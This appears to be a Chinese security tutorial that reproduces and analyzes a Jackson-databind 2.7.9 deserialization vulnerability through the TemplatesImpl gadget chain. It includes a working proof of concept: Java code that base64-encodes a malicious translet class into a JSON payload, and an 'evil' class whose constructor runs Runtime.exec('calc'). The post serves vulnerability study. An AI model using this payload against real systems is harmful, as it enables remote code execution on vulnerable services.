0x00 前言
Jackson 相对应fastjson来说利用方面要求更加苛刻,默认情况下无法进行利用。
同样本次的调用链也可以参考fastjson内容:Java代码审计——Fastjson TemplatesImpl调用链
相关原理,可以参考:Jackson 反序列化漏洞原理
0x01 环境搭建
pom文件如下
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.dataformat</groupId>
<artifactId>jackson-dataformat-xml</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
</dependencies>
测试Demo:
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.evil");
byte[] bytes = ctClass.toBytecode();
String encoded = Base64.encode(bytes);
String json = "{\"object\":[\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",{" +
"\"transletBytecodes\":[\""+encoded+"\"]," +
"\"transletName\":\"cs\"," +
"\"outputProperties\":{}" +
"}]}";
System.out.printf(json);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(json, People.class);
}
evil文件
public class evil extends AbstractTranslet {
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
public static void main(String[] args) throws IOException {
evil obj = new evil();
}
}
其他环境
- jdk 1.7u2
0x02 漏洞复现
0x03 原理分析
主要原理就是需要调用指定类的setter方法来进行赋值,这个没有什么好解释的,主要是看一下Jackson是如何触发Getter的。
setter和getter可以参考:Java中动态调用setter以及getter
重点在循环遍历的位置:
jackson-databind-2.7.9.jar!\com\fasterxml\jackson\databind\deser\BeanDeserializer.class#vanillaDeserialize
当存在set方法的时候就调用 jackson-databind-2.7.9.jar!\com\fasterxml\jackson\databind\deser\impl\FieldProperty.class,就会触发set方法
当不存set方法的时候就会调用jackson-databind-2.7.9.jar!\com\fasterxml\jackson\databind\deser\impl\SetterlessProperty.class
实际上fastjson的调用链,jackson基本都是可以用的
以上